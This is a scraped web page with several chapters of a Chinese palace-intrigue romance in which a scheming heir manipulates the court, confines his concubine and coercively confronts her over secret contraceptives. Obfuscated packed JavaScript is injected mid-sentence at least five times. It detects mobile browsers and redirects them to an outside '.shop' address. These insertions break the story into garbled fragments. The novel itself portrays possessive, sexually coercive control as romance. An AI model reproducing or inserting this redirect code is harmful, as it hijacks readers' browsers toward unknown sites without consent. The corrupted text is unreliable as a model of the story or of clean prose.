“陛下慈父心肠,令人动容。因如此,臣才更为忧心,永嘉殿下掌管内府司皇庄织造,身份尊贵,然近年来账目屡有亏空。虽说殿下用度大些也是常情,但如今北境军饷出事,数额巨大,流向又与内府司旧账隐约牵扯,难免让人多心,怀疑是否有人利用殿下身份行不便之事。届时,不仅于殿下清誉有损,更怕陛下的一片爱女之心反被利用,徒增烦忧。” 皇帝果然顺着他的话,眉头皱得更紧:“你的意思是?” 容璟叹了口气,面露更深切的担忧:“况且,臣听闻,睿王殿下对永嘉殿下及其女乐康县主极为疼爱,时常接至府中与世子一同教养,兄妹情深,舐犊之情,羡煞旁人,只是......如今朝中多有太子与睿王不睦的流言,永嘉殿下身份特殊,又与睿王过往甚密。臣是担心,有心之人会利用这份亲情,甚至......利用年幼懵懂的县主,行构陷拉拢之事。届时不仅伤了皇家和气,更怕县主小小年纪,身心受累,在是非中受了委屈,那才是真正辜负了陛下的怜惜之情。” 容璟句句不提永嘉欺负姜于归,字字都在戳皇帝最敏感的神经。 结党营私,动摇国本,以及利用幼子。同时,他将乐康县主描绘成一个可能被利用,需要保护的无辜孩子。 皇帝的脸色彻底沉了下来,他本就因薛贵妃母族的外戚心生警惕,现在永嘉和睿王如此,可见其司马昭之心。 容璟这番话,无异于将一条潜在的危险清晰的摆在了他面前。 永嘉贪墨资助睿王,睿王势大威胁太子,永嘉和睿王本就是同胞兄妹关系亲密,而为了关系更亲密,自然是亲上加亲最好,他们甚至可能利用孩子作为纽带或工具。 皇帝沉默片刻,手指轻轻敲着御案,似乎在权衡。 他需要一个既能制约永嘉和睿王,又不过于损伤他慈父形象的理由。 目光重新看向容璟,语气听不出情绪:“爱卿思虑周全,确是为朕分忧,只是永嘉毕竟......朕也不愿过于苛责,寒了孩子们的心。” 容璟知道皇帝这是在等他递上梯子,他立刻躬身,语气恳切的提出建议。 “陛下圣明,体恤子女,乃仁君之风。臣愚见,正因体恤永嘉殿下年轻守寡,抚育女儿辛苦,才更应为其长远计。殿下如今既要操持府务,又要掌管内府司繁杂事宜,还要教养县主,实在辛劳,长此以往,于殿下玉体恐有损。” 容璟稍作停顿,观察皇帝神色,见其微微颔首,便继续道:“不若陛下施以隆恩,体恤殿下辛劳,暂且将内府司具体事务交由稳妥之人协理,让殿下能稍作休养,静心调理。同时,县主年岁渐长,正是需要精心教导之时。 皇后娘娘母仪天下,德行堪为天下女子典范。若能由皇后娘娘亲自抚育教导乐康县主,非但是县主的福气,更能让永嘉殿下卸下重担,有机会......或许还能更好考虑自身未来,譬如......另择良婿,再续姻缘。 如此一来,殿下得以安享尊荣,县主得获最好教养,皇家更能彰显对功臣遗孤的抚恤之恩,实乃三全其美之策。” 容璟这番话可谓滴水不漏,将剥夺永嘉权力说成是让她休养,将扣留其女说成是让皇后教导,是莫大的恩宠,甚至将此举与鼓励永嘉改嫁联系起来,彻底堵住了永嘉以寡妇不易卖惨的可能。 所有的恶意都被包裹在体贴关怀的糖衣之下。 皇帝听完,眼中精光一闪,显然对这个理由十分满意。 他微微颔首,脸上甚至露出一丝欣慰的笑容:“爱卿此言,深得朕心,如此安排,确是周全。既全了朕的怜惜之情,也免了她们母女日后可能卷入纷争的风险,更可让永嘉有机会考虑自身归宿,好,甚好!” 皇帝的声音恢复了平静,但熟悉他的人都知道,这是他做出决断后的松弛,他看了一眼容璟:“爱卿有心了,思虑缜密,处处为皇家考量。” 容璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容璟的目光掠过窗外汀兰水榭的方向,眼神幽深:“她动了不该动的人,便该想到有今日,夺其财,断其念,诛其心。这,只是开始。” 他不在乎永嘉的咒骂,他在乎的是,那个在公主府受了委屈的人,此刻正在他的羽翼下,对这场因她而起的无声的腥风血雨,一无所知。 他端起手边的清茶,抿了一口。 “睿王那边有什么动静?” “睿王殿下似乎对此颇为不满,但圣意已决,他也不敢明着反对。只是,我们安排在太子门人那边的线报说,最近有御史准备弹劾睿王纵容属下侵占民田,似乎......证据来得有些巧合。” 容璟挑眉,了然于心。这大概是他那位温厚的太子表兄敏锐的抓住了这个机会,顺势给睿王补了一刀。很好,局面正朝着他预期的方向发展。 “让我们的人暗中给那位御史行个方便,证据递得顺畅些,另外,永嘉公主府那边,看紧了,她那个面首赵珩,找机会让他惹点麻烦,不必太大,让永嘉烦心即可。” “是。”长风领命退下。 书房内重归寂静。容璟走到窗边,负手而立,他做的这一切,姜于归永远都不会知道。 他不需要她的感激,他只需要确保,这盛京城内,再无人敢轻易动他容璟护着的人。 至于永嘉和睿王?不过是权力棋盘上,因一步行差踏错,即将被逐步蚕食的棋子罢了,而这一切的起因,不过是某个冬日,在公主府里,有人让他护着的人受了一场让他心生不悦的委屈。 报复,于他而言,从来都是一场精心计算,优雅从容的棋局。 二月伊始,盛京的严寒未减,汀兰水榭的地龙烧得再旺,也驱不散姜于归心底那份日渐沉重的寒意。 容璟的伤势在秘密调养下渐趋稳定,但那份因他受伤而生的,连她自己都不愿深究的微妙牵念,与日俱增的囚困感交织在一起,让她夜不能寐。 这日清晨,寒意凛冽,老夫人院里的张嬷嬷亲自来了,面容肃穆,语气不容置疑:“姜娘子,老夫人请您过去一趟。” 姜于归心中微微一沉。 容璟受伤之事,虽极力隐瞒,但府中毕竟没有不透风的墙,老夫人前几日便已知晓,只是见容璟伤势稳定,且有姜于归在旁照料,便未曾过多干涉。 今日这般正式来请,只怕,并非为了伤势。 她整理了一下衣裙,深吸一口气,随着张嬷嬷前往老夫人的寿安堂。 寿安堂内,炭火温暖,老夫人端坐在上首的紫檀木雕花扶手椅上,身着锦缎棉袄,手中依旧捻着一串沉香木佛珠,神色平静,奈何眼神却锐利如鹰,落在姜于归身上,带着审视与探究。 姜于归依规矩行礼问安,垂首静立。 老夫人并未立刻叫她起身,沉默如同无形的压力,弥漫在温暖的空气中。 良久她才缓缓开口,声音不高,却字字清晰:“前些时日,永嘉公主府赏梅宴上的事,老身略有耳闻。” 姜于归心头一紧,指尖微微蜷缩。 老夫人继续道,语气听不出喜怒:“听说,席间有个清溪镇来的小厮,言之凿凿,说你在家乡时,之前那位因贪污而入狱的慕容大人来往甚密?” 姜于归猛的抬头,撞上老夫人那双洞悉世情的眼睛。 那目光仿佛能直抵内心最深处的隐秘,姜于归感到一阵恐慌,并非因为自己,而是因为林晏。 容璟虽立誓保林晏平安,可若他与她的过往被一再提及,尤其传到老夫人耳中,难保不会横生枝节,危及林晏性命。 容璟的掌控欲和手段,她再清楚不过。 她必须否认,必须彻底斩断这流言蜚语可能带给林晏的任何潜在风险。 姜于归强迫自己稳住声音,重新垂下眼睫,掩去眸中翻涌的痛苦与决绝。 “老夫人明鉴,那纯属永嘉公主与永福殿下因......因世子之故,对民女的构陷羞辱。民女在清溪镇经营酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063753|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肆,迎来送往,认识些乡邻友人实属正常,但绝无任何逾越礼法,不清不白之事。此事,当时在场诸位千金皆可作证,民女已在席间澄清,世子......世子亦是知晓的。” 她将世子亦是知晓几个字咬得略重,试图借此增加话语的可信度,心头却因这违心的否认而阵阵抽痛。 那是她和林晏之间,最干净,最温暖的回忆,如今却要由她亲手抹黑,斥为构陷。 老夫人捻动佛珠的手指顿了顿,目光在姜于归脸上停留片刻,似乎在分辨她话中的真伪。 她没有立刻相信,反而提起了另一件事,语气带着一丝不易察觉的冷意:“你之前,特意来向老身求取避子药,你当时说,璟儿尚未娶妻,你身为侍妾,不宜先行生育,显得懂事识大体。这话,听起来在理。” 老夫人这般说着,姜于归听着语气,心里稍稍得以喘息,但是下一刻老夫人话锋一转。 “可这未免也太过贤惠了些!寻常女子若得夫君宠爱,哪个不想早日生下子嗣以固宠?你却急急求药,如今又有这等风言风语传出,你让老身如何能不多想?莫非你心中另有所属,不愿为璟儿绵延子嗣?” 这话如同冰锥,狠狠刺入姜于归的心脏。 老夫人果然将两件事联系了起来,可她不能承认,绝对不能。 姜于归脸色白了白,指甲深深掐入掌心,她再次抬起头,眼中氤氲出一层委屈与坚定交织的水光,声音带着微微的颤抖,却异常清晰。 “老夫人!民女对世子之心,天地可鉴!求取避子药,正是因珍视与世子的将来,不愿因一时之宠,乱了府中规矩,将来惹得主母不快,更让世子为难。民女出身微贱,能得世子垂怜,已是万幸,岂敢再有他念?至于那些污蔑之词,皆是永嘉公主与永福殿下因嫉妒而编造的谎言!她们容不得民女待在世子身边,故而用这等下作手段,欲除之而后快!民女与那......慕容大人......绝无......瓜葛!” 81. 第 81 章 姜于归再次强调了永嘉公主与永福殿下,将矛盾引向公主们的嫉妒。同时,她提及主母,府中规矩,将自己放在一个卑微而识大体的位置上,试图打消老夫人的疑虑。 果然,听到永嘉公主和永福公主的名字,老夫人眉头紧紧蹙起。 永福对容璟的心思,她自然清楚。那位公主,表面天真烂漫,内里却与其姐永嘉一脉相承的骄纵,她们背后的薛贵妃和睿王一派,在朝中势力盘根错节,与太子一系明争暗斗,老夫人虽居后宅,亦有所耳闻。 容璟游走其间,如履薄冰,若永福因嫉妒而构陷姜于归,这不仅仅是内宅争风吃醋,更可能牵扯到前朝的政治倾轧。 这是在打容璟的脸,也是在打荣国公府的脸! 老夫人脸上的怒意渐渐转为一种深沉的凝重。 她看着姜于归,这个女子眼神清正,言辞恳切,逻辑清晰,不似那等轻浮放荡之人。 而且,她提及容璟知晓此事,若真有问题,以璟儿的性子,绝不可能容她。 就在老夫人神色稍霁,准备再敲打几句之时,门外传来通报声:“世子爷到。” 珠帘晃动,容璟的身影出现在门口。 他穿着一身墨色常服,衬得脸色有些苍白,但步履依旧沉稳,只是若仔细观察,能发现他比平日走得稍慢,左手下意识的虚按在腹侧。 容璟的目光先是在姜于归身上快速扫过,见她脸色发白,眼圈微红,却强自镇定的模样,眼底深处掠过一丝冷意,随即转向老夫人,躬身行礼:“祖母。” 老夫人见他来了,语气缓和了些:“你伤未痊愈,怎么过来了?” 容璟直起身,走到姜于归身边,与她并肩而立,姿态自然而然的带着维护之意:“孙儿听闻祖母唤于归来问话,担心她年轻不懂事,冲撞了祖母,特来看看。” 说罢,容璟顿了顿,目光平静的看向老夫人:“方才在门外,隐约听到些,可是在说公主府宴会上的无稽之谈?” 老夫人见他主动提起,便道:“正是,虽说于归解释清楚了,但流言伤人,老身总要问个明白。” 容璟唇角勾起一抹淡淡的,带着嘲讽的弧度,语气却十分肯定。 他侧头,深深看了姜于归一眼,那眼神复杂,带着洞察一切的冰冷,却又奇异的混合着一丝安抚:“祖母不必为此烦心,那不过是永嘉,永福姐妹惯用的伎俩,见不得孙儿身边有个可心的人,故意找茬折辱罢了。于归在席间应对得体,并未让国公府蒙羞,至于那些子虚乌有的事情,孙儿心里有数。” 他这句心里有数,含义模糊,既像是相信姜于归的清白,又像是暗示他知晓一切却并不在意,或者说,一切尽在掌控。 姜于归在他目光下,心脏猛的一缩,下意识的避开了他的视线。 老夫人将两人的互动看在眼里,她这个孙子,心思深沉,从不轻易表露情绪,更鲜少如此明确的维护一个人。 这是他第一次如此清晰的表达对一个女子的重视。 联想到他受伤回京那日,便是直奔公主府将人接回,甚至不惜再次与永嘉公主正面相对,老夫人心中了然。 再看姜于归,容貌气质确属上乘,难得的是身处逆境却不卑不亢,懂得审时度势,今日这番对答,虽有委屈,却条理清晰,知道利用规则和对手的弱点来保护自己,并非一味哭诉,这份心智,倒也配得上璟儿的青睐。 更重要的是,永福公主的行为,确实越界了。 若放任不管,岂非让人觉得荣国公府可欺? 种种考量在老夫人心中迅速闪过,她脸上的最后一丝疑虑散去,取而代之的是一种决断。 她需要安抚这个被孙子重视的女子,也需要给外界,尤其是给永福公主背后的人,一个明确的态度。 老夫人捻动佛珠的手停了下来,目光在容璟和姜于归之间转了转,缓缓开口,语气带着不容置疑的威严:“既然是一场误会,于归也受委屈了,你如今只是个侍妾身份,难免被人看轻,生出这些事端,璟儿既然看重你,我们荣国公府也不能亏待了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068228|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 她顿了顿,一字一句道:“即日起,便提了姜氏为侧夫人吧。一应份例,皆按侧夫人规制来,也省得什么阿猫阿狗,都敢来编排我国公府的人。” 此言一出,室内有瞬间的寂静。 姜于归猛的抬头,眼中充满了难以置信。 侧夫人?虽仍是妾室,却已是有名分的贵妾,地位远非通房侍妾可比,但这意味着,她与容璟的捆绑更深了,与这座国公府的牵连也更紧密了。 她渴望的自由,似乎在这一刻,又被推进了更深的深渊。 一股巨大的无力感和恐慌萦绕在她心头,让她几乎喘不过气,她下意识的看向容璟。 容璟眼底却飞快闪过一丝愉悦的光芒,快得让人无法捕捉。 他微微躬身,语气恭敬而顺从:“孙儿代于归,谢祖母恩典。” 他答应了,甚至没有一丝犹豫。 姜于归的心,随着他这句话,彻底沉了下去。 她张了张嘴,想说些什么,却发现喉头哽咽,一个字也吐不出来,在老夫人锐利的目光和容璟无形的压力下,她只能缓缓低下头,用尽全身力气,屈膝行了一个大礼,声音艰涩无比:“谢......老夫人恩典。” 这一刻,她感觉自己仿佛被一条更加华丽,也更加坚固的锁链锁住,锁链的另一端,牢牢握在容璟手中。 她为了林晏的安危,否认了与他的过去,却将自己更深的陷入了与容璟纠缠的未来。 这种用牺牲情感换来的晋升,带着令人窒息的讽刺与悲凉。 容璟看着她低垂的,露出脆弱颈线的头颅,看着她微微颤抖的肩膀,心中那股扭曲的满足感再次升腾。 他要的就是这样,让她在他的羽翼无处可逃,只能一步步习惯他的存在,他的给予,乃至......最终爱上他。 至于慕容林晏...... 那个名字在容璟心底划过一丝阴冷的痕迹,随即被更强大的掌控欲覆盖。 那个人,终究会成为过去。 82. 第 82 章 老夫人见容璟应下,姜于归也感恩领受,满意的点了点头:“好了,此事就这么定了,于归,你既为侧夫人,往后更需谨言慎行,好好服侍璟儿。” “是,民女......妾身谨记老夫人教诲。” 姜于归低声应道,每一个字都像是从齿缝间挤出来。 容璟适时开口:“祖母,若无事,孙儿便带于归先回去了,她今日也受了惊吓。” 老夫人挥挥手:“去吧,你好生养伤。” 容璟伸手,虚扶了姜于归一下,姿态亲昵而自然,带着她一同退出了寿安堂。 走出寿安堂,寒冷的空气扑面而来,姜于归却觉得胸口那股憋闷丝毫未减。她下意识的想挣脱容璟的手,却被他更紧的握住。 容璟在她耳边低语,气息温热,带着一丝戏谑,更深的却是宣告:“侧夫人,开心吗?” 姜于归猛的转头看他,眼中是无法掩饰的悲愤与质问。 容璟迎着她的目光,嘴角那抹惯常的温润笑意里,掺杂了毫不掩饰的冰冷与算计:“这是祖母的恩典,也是你应得的。从今往后,你与我,便更分不开了。” 他刻意加重了应得二字,像是在提醒她方才在寿安堂内的表演。 姜于归浑身冰冷,明白自己再一次落入了他的棋局。 他利用老夫人的疑虑和公主的挑衅,顺水推舟,将她抬至侧夫人之位,既安抚了她因救林晏而生的些许怨怼,也彻底断绝了她可能因身份低微而产生的,任何不切实际的离开念头。 她与林晏的过往,在她亲口的否认和容璟的推波助澜下,似乎被暂时埋葬,而代价是她与容璟之间,更加深刻,更加无法挣脱的羁绊。 次日,一个更令人震惊的消息在盛京传开。 永嘉公主果然如老夫人所料,请旨为永福公主与容璟赐婚。 然而,这道预期的赐婚圣旨并未落下,因为朝堂之上,一位素来德高望重的钦天监官员出列,言道夜观星象,发现永福公主与容世子八字相冲,若强行结合,恐于国运有碍。 与此同时,容璟亲自上表,言辞恳切,以北境未平,边境屡有骚扰,不敢沉溺儿女私情为由,婉拒了赐婚。 皇帝本就因永华公主之事对太子一系心存愧疚,对睿王一派膨胀的势力暗自警惕,容璟此举,正中下怀。 他赞赏了容璟的忠君爱国,驳回了永嘉的请旨。 永嘉公主府内,听闻消息的永嘉气得砸碎了一套贵重的花瓶。 她没想到容璟竟敢如此直接的拒绝,更没想到皇帝会支持容璟! 而永福,则在宫中哭成了泪人。 消息传回荣国公府,汀兰水榭内,姜于归听闻此事,心中并无多少波澜。 她早已明白,容璟的每一步都经过精密算计。 拒绝永福,或许有不愿卷入睿王派系的原因,但更深层的,恐怕还是他那不容分享的占有欲。 他既已将她抬为侧夫人,又怎会允许一位身份尊贵的公主正妻压在她头上,扰乱他精心布置的棋局? 姜于归站在窗前,望着窗外依旧料峭的春寒,手指无意识的抚上小腹,避子药她仍在偷偷服用,侧夫人之位,看似风光,于她而言,不过是换了一个更大,更华丽的牢笼。 她与容璟,在这冰与火交织的对抗与纠缠中,关系愈发复杂难辨。 二月过后,冰雪初融,盛京的寒意却未减分毫。 姜于归被抬为侧夫人的仪式,隆重得超乎所有人的想象,容璟不仅请了族中长辈观礼,更以近乎正室的规制为她操办。 锦缎如云,珠翠盈眸,连宫中都赐下了赏赐,那一日,姜于归穿着大红织金缠枝莲的礼服,在众人或艳羡或嫉妒的目光中,被容璟亲手扶上象征着地位的青鸾步辇,绕府半周。 可这表面的风光,并未给她带来多少实质的改变。 汀兰水榭依旧是那座华美的牢笼,只是看守得更严密了些,那朱红描金的大门,仿佛一道无形的界限,将她与外界彻底隔绝。 容璟以安危为由,将她任何想出府的念头都轻描淡写的驳回。 他不再像最初那样时时刻刻散发着令人窒息的压迫感,却换了一种更磨人的方式,用琐事占据她的心神。 这日,容璟将她唤至书房,将几本厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073592|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚的册子推到她面前。 他的语气听不出喜怒,仿佛只是在陈述一件再平常不过的事:“这些是府中一部分人情往来的账目,你先看看,这些也该学着打理,免得日后......授人以柄。” 姜于归默默接过,沉甸甸的册子压在手上,也压在心上。 她知道,这并非信任,而是另一种形式的圈养。 他要她沉浸在这些枯燥的数字和名目里,慢慢消磨掉她对外界的渴望,忘掉那个埋在心底的名字。 姜于归学得很快,许是前世带来的底子,账目清晰,条理分明,连教授规矩的,素来严苛的张嬷嬷都暗自点头。 她甚至还凭着记忆,改良了几道药膳,容璟用了,虽未称赞,但眉眼间那因伤病而凝结的郁色,确是舒缓了些。 他们之间,仿佛达成了一种诡异的平衡。 他不再步步紧逼,她也不再明显抗拒,他偶尔会在批阅公文间歇,揉着眉心,与她聊起朝中一些无关痛痒的动向。 “永嘉公主近日又得了一斛东珠,据说是睿王寻来哄她开心的。 北境似乎不太平,不过......都是些小打小闹。 陛下昨日夸赞太子仁厚,倒是难得。” 他说得漫不经心,如同谈论天气。姜于归听得心不在焉,指尖无意识的绞着帕子。 她知道,这些都是他想让她知道的,是经过精心筛选的信息,真正的核心,关于林晏的事情,关于他案件的情况,他一个字都不会透露。 姜于归也不再问,只是在他提及这些时,心底会掠过一丝极淡的,连自己都未曾深究的失落。 并非全然为了探听林晏的消息,而是这种被彻底排除在他真实世界之外的感觉,让她清晰的意识到自己玩物的身份,无论表面多么光鲜。 然而,这平静的表面下,暗流从未停止涌动。 成为侧夫人后不久,容璟便下令,每月逢五,府医需来为姜于归请三次平安脉。 这道命令像一道惊雷,炸响在姜于归看似平静的心湖。 那藏在妆匣最底层暗格里的白玉小瓶,瞬间变得滚烫灼人。 83. 第 83 章 第一次,府医提着药箱来时,姜于归正临窗抄写《心经》,她放下笔,语气温和却疏离:“有劳先生跑一趟,我今日身子爽利,并无不适,无需诊脉。” 府医踌躇片刻,见她不似作伪,又碍于她侧夫人的身份,只得躬身退下。 第二次,她正跟着嬷嬷学习复杂的宫廷礼仪,便借口不得空,恐冲撞了先生,直接将人打发走了。 第三次,她干脆小睡,连房门都没让府医进。 次数一多,消息自然传到了容璟耳中。 一次晚膳后,他摒退了左右,房间只剩下他们二人。 烛火跳跃,在他轮廓分明的侧脸上投下明明暗暗的光影,容璟手中把玩着一只温润的羊脂玉扳指,状似无意的问起:“为何屡次拒绝诊脉?” 姜于归正为他斟茶的手几不可察的一顿,滚烫的茶水注入白瓷杯中,瞬间腾起热气,模糊了她瞬间紧绷的神色。 姜于归力持镇定,让茶水稳稳注满七分,未起半分涟漪。 “妾身身子并无不适,何必劳烦府医奔波,世子伤势未愈,精力该用在自身调养上才是。” 容璟抬眸看她,目光深邃,仿佛要透过她平静的表象,看进她心底翻涌的惊涛骇浪。 他唇角勾起一抹似笑非笑的弧度,那笑意冰凉,带着洞悉一切的嘲讽:“哦?只是如此?还是说......你怕大夫诊出什么?” 姜于归的心猛的一缩,像是被一只无形的手狠狠攥住,几乎喘不过气,但还是努力维持住面上的镇定。 “世子多虑了,妾身只是不喜药石之气,闻之总觉胸闷。” 说是这么说,但是容璟心里还是有几分疑惑。 容璟并非没有察觉其他异样,同床共枕时,他敏锐的察觉到她月信的日子似乎格外规律,甚至......规律得有些刻意。 有时情浓之际,意乱情迷之时,他会抚着她平坦柔软的小腹,带着一丝不易察觉的期盼,低声感叹,姜于归何时才能有孩子。 每一次,姜于归都会身体几不可查的一僵,那瞬间的僵硬虽快,却逃不过他敏锐的感知,然后,她会以一种近乎麻木的顺从,将脸埋在他颈侧,声音闷闷的回应:“子嗣缘份,强求不得,世子......莫要心急。” 容璟不再说话,只是沉默的把姜于归搂得更紧,紧得几乎让她窒息。 他派去看守她的人每日回报,她一切如常,或在院中散步,或临窗习字,或翻阅账册,并无任何异动,汀兰水榭平静得像一潭死水。 但他知道,一定有什么地方不对,这个看似已经完全被他掌控在掌心的女人,温顺的皮囊下,心底始终有一块他无法触及的禁地,藏着不肯交付的真心,和随时可能飞走的念头。 这种挥之不去的失控感,像一根细小的刺,扎在他心头最柔软的地方,不致命,却时时作痛,让他心底那头名为占有的野兽,开始焦躁的刨动着利爪,渴望鲜血的安抚,来确认猎物的归属。 时间滑入三月中旬,春光渐盛,汀兰水榭外的几株桃树终于挣脱了寒意的束缚,在料峭的春风里怯怯的颤动着。 这日傍晚,姜于归用过晚膳,照例在院中散了会儿步,夕阳的余晖给庭院镀上了一层暖金色的光晕,却驱不散她心底的阴霾。 她看着墙角那几株桃树,忽然想起去年此时,在清溪镇,她和林晏并肩走在开满桃花的溪边,他折下一枝开得最盛的递给她,笑着说:“人面桃花相映红。” 那时,风是暖的,心是甜的,未来是可期的,而如今...... 她轻轻叹了口气,拢了拢衣襟,转身回房。 刚在梳妆台前坐下准备卸下发间的珠钗,就听得门外传来侍卫长风沉稳的声音:“侧夫人,世子请您去书房一趟。” 姜于归心下微异,容璟若寻她,多是直接来汀兰水榭,或是让身边惯用的小厮传话,鲜少让长风或长青前来。 这不同寻常的传唤,让一丝不安悄然爬上心头。 姜于归定了定神,应了一声:“知道了。” 起身对镜整理了一下略显素净的衣裙和发髻,确认并无失礼之处,才深吸一口气,随着长风往容璟的书房行去。 长风在书房门外停下,躬身道:“世子,侧夫人到了。” 里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078407|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面传来容璟低沉的声音:“进来。” 姜于归推门而入,书房内,烛火通明,驱散了春夜的寒凉。 容璟端坐在宽大的紫檀木书案后,身后是顶天立地的书架,密密麻麻摆满了书籍卷宗,像一座沉默的山,压迫感十足。 他手中执着一卷书,看得似乎十分专注,连她进来都未曾抬眼。 姜于归依礼屈膝,声音轻柔:“世子。” 容璟恍若未闻,目光依旧落在书页上,修长如玉的手指漫不经心的翻过一页,发出轻微的“沙沙——”声,在这过分寂静的书房里,显得格外清晰,空气仿佛凝滞了,弥漫着一种山雨欲来的低气压。 姜于归维持着行礼的姿势,心头的不安逐渐扩大,她不知道他为何唤她前来,又为何如此冷淡。 良久,久到她膝弯都有些发酸时,容璟唇角似乎弯了一下,却并非笑意,而是一种冰冷的,近乎慈悲的垂怜。 他开口,声音平缓,没有一丝波澜,却像潮湿的蛛丝,黏腻的缠绕上来:“人说,活到老,学到老,活了这般年岁,更该时时勤学,方能......不至于愚钝不堪,你觉得呢?” 姜于归被他这没头没脑,仿佛夫子考校学生般的话问得一怔,心下莫名的不安如同潮水般涌上。 姜于归心下一沉,猜不透他话中的机锋,只能顺着答道:“世子所言极是,学无止境,确该如此。” 容璟终于从书卷上抬起眼,目光落在她脸上,朝着姜于归招招手,语气是一种奇异的,近乎诱哄的柔和:“过来,我们一起......参详参详。” 姜于归心中警铃大作,脚下如同灌了铅,沉重得几乎抬不起来。 他越是平静,越是反常,那声参详更是让她脊背发凉。 待她站定,容璟将手中书卷轻轻推至她面前,烛光跃动,清晰的照亮了书页上不堪入目的避火图。 线条露骨,姿态靡乱,每一个细节都充满了直白的欲望。 “啊——” 姜于归脸颊瞬间烧灼,随即血色褪尽,惨白如纸。 她如同被毒蛇的信子舔舐,惊惶的向后缩去。 84. 第 84 章 然而容璟的动作更快,他并未暴起,只是看似随意的一探手,便精准的抓住了她的手腕,那力道不大,却像冰冷的铁箍,带着不容挣脱的黏着感,将她一点点,重新拉回书案边。 容璟的指尖冰凉,透过薄薄的衣料,渗入她的肌肤,激起一阵寒栗。 “跑什么?” 他声音依旧平稳,甚至带着一丝不解,仿佛在询问一个不懂事的孩子:“既然要学规矩,就该学个透彻。” 容璟冰凉的指尖如同某种爬行动物的腹部,缓缓划过姜于归因恐惧而微微颤抖的脊背。 他凑近她,鼻尖几乎相抵,温热的呼吸喷在她的耳廓,声音却冷得如同地底的寒气,一字一句,钻进她的骨髓:“我们在一起时日也不短了,为何你这肚子,迟迟没有动静? 容璟一只手依旧攥着姜于归的腕子,另一只手却带着一种令人毛骨悚然的缓速,抚上她平坦的小腹。隔着衣料,那手掌的冰凉仿佛能穿透肌肤,直抵内里。 “莫非......是我们之前的学习,还不够到位?嗯?需要......更深入些?” 他话语里的暗示露骨而残忍,姜于归浑身颤抖得像风中的落叶,大脑一片空白,巨大的恐惧让她几乎无法思考,只能凭着本能,用最苍白无力的理由辩解:“是......是我身子不争气,底子虚......对,是底子虚......” “底子虚?” 容璟轻笑一声,那笑声里带着黏腻的嘲讽,打断了她的话。 他重新抬起眼,目光如同淬了冰的针,精准的刺穿姜于归脆弱的伪装。 “既然身子虚,为何屡次三番拒绝府医诊脉调养?我特意下令每月两次请脉,为你调理身体,你次次推拒,是为何故?!” 容璟攥着姜于归手腕的力道微微收紧,不像要捏碎她,却让她更加无法挣脱,仿佛被水蛭吸附。 “说。” 一个字,轻飘飘的,却带着千钧重压。 “我......” 姜于归语塞,冷汗瞬间浸湿了背后的衣衫,念在她的后背上,带来一阵阵寒意。 在容璟的目光下,一切掩饰都无所遁形。 看着姜于归慌乱失措的模样,容璟眼底掠过一丝极淡的,扭曲的满足。他松开钳制姜于归的手,那冰冷的触感却仿佛依旧残留。 他缓缓直起身,从宽大的袖袍中,取出了那个眼熟的白玉小瓶。 “咚——”的一声轻响,那瓶子被他重重的顿在姜于归眼前的书案上,正正压在那本摊开的,不堪入目的避火图上。 那正是她精心藏在妆匣最底层暗格里的,装着避子药的瓶子! 姜于归的瞳孔骤然收缩,浑身的血液仿佛在这一刻瞬间冻结! 她看着那个在烛光下泛着温润光泽的白玉瓶,却仿佛看到了来自地狱的催命符,无边的恐惧如同冰冷的潮水,灭顶而来。 身体开始无法控制的剧烈颤抖,牙齿都在咯咯作响。 容璟的声音冷冽,如同屋檐下融化的冰棱,滴落在姜于归的心尖上。 